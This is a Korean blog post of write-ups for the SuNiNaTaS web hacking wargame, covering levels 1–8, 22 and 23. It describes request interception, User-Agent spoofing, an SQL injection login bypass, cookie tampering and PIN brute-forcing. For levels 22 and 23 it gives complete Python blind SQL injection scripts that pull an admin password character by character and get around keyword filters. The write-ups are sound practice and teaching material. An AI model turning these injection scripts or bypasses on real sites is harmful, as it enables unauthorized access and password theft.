[SuNiNaTas-Web] write-ups

yoobi·2022년 5월 31일
0
post-thumbnail

level-1

풀이 : 간단한 replace, mid 등 생각하여 admin으로 만드는 문제
key : ami

level-2

풀이 : js로 id==pw를 막고 있으므로 burp로 잡아서 우회하여 전송
key : admin/admin

level-3

풀이 : Write articles in Notice Board, 이므로 http://suninatas.com/board/notice/write 글을 작성하면 끝이다

level-4

풀이 : 소스코드보기로 확인하면 hint로 50 & SuNiNaTaS가 존재하므로, User-Agent를 SuNiNaTaS로 변경하여 50 point 만들면 끝이다

level-5

풀이 : 난독화 되어있는 js 코드를 console.log로 출력한 후, 크롬 console에서 hint로 주어진 12342046413275659 값을 주고 실행하면 key를 획득할 수 있다 획득한 key를 제출하면 끝이다

level-6

풀이 : README에 존재하는 pw 검증에서 SQLi로 우회한다. ' or '1' like '1 들어가서 auth_key 쿠키를 md5로 암호화한 값을 변경하면 소스코드 보기에 hint를 확인할 수 있다. 문제에 대한 답이 Authkey이다.

level-7

풀이 : hint는 faster and faster이고, noEvent() js 코드로 특정 동작을 막고있다. 즉, 사이트에 들어오자마자 바로 yes 버튼의 submit을 수행하는 문제이다. console로 frm.submit()을 미리 적어놓고, 새로고침하자마자 제출하면 끝이다.

level-8

풀이 : hint로 비밀번호가 0~9999 중에 하나라고 알려준다. burp suite intruder를 이용하거나 python script를 작성하여 브루트포싱하여 비밀번호를 알아내면 끝이다.

level-22

풀이 : blind SQLi 문제이다.

import requests

url = "http://suninatas.com/challenge/web22/web22.asp?"
id_value = "admin"
pw_len = 0
pw = ""

for length in range(20):
    response = requests.get(url + "id=" + id_value + "' and len(pw)="+str(length)+"--&pw=1")
    if response.text.find("OK") != -1:
        print(length)
        pw_len = length
        break

for length in range(1, pw_len+1):
    for char in range(32, 127):
        response = requests.get(url + "id=" + id_value + "' and substring(pw,"+str(length)+",1)='"+chr(char)+"'--&pw=1")
        if response.text.find("OK") != -1:
            pw += chr(char)
            print(pw)
            break

level-23

풀이 : blind SQLi 문제이다. admin이 필터링되어 있어서 'adm'+'in'의 형태로 우회하고, substring이 필터링 되어 있어서, left와 right를 사용하여 script를 작성했다. 또한, 쿼리 길이 제한이 있어서 left, right로 따로 구하고 합쳐준다

import requests

url = "http://suninatas.com/challenge/web23/web23.asp?"
id_value = "adm'%2B'in'"
pw_len = 0
pw = ""

for length in range(20):
    payload = url + "id=" + id_value + " and len(pw)="+str(length)+"--&pw=1"
    # print(payload)
    response = requests.get(payload)
    if response.text.find("OK") != -1:
        print(length)
        pw_len = length
        break

for length in range(1, pw_len+1):
    for char in range(32, 127):
        payload = url + "id=' or left(pw,"+str(length)+")='"+pw+chr(char)+"'--&pw=1"
        #print(payload)
        response = requests.get(payload)
        if response.text.find("<font size=4 color=blue>admin") != -1:
            pw += chr(char)
            print(pw.lower())
            break

pw = ""

for length in range(1, pw_len+1):
    for char in range(32, 127):
        payload = url + "id=' or right(pw,"+str(length)+")='"+chr(char)+pw+"'--&pw=1"
        #print(payload)
        response = requests.get(payload)
        if response.text.find("<font size=4 color=blue>admin") != -1:
            pw = chr(char) + pw
            print(pw.lower())
            break
profile
this is yoobi

0개의 댓글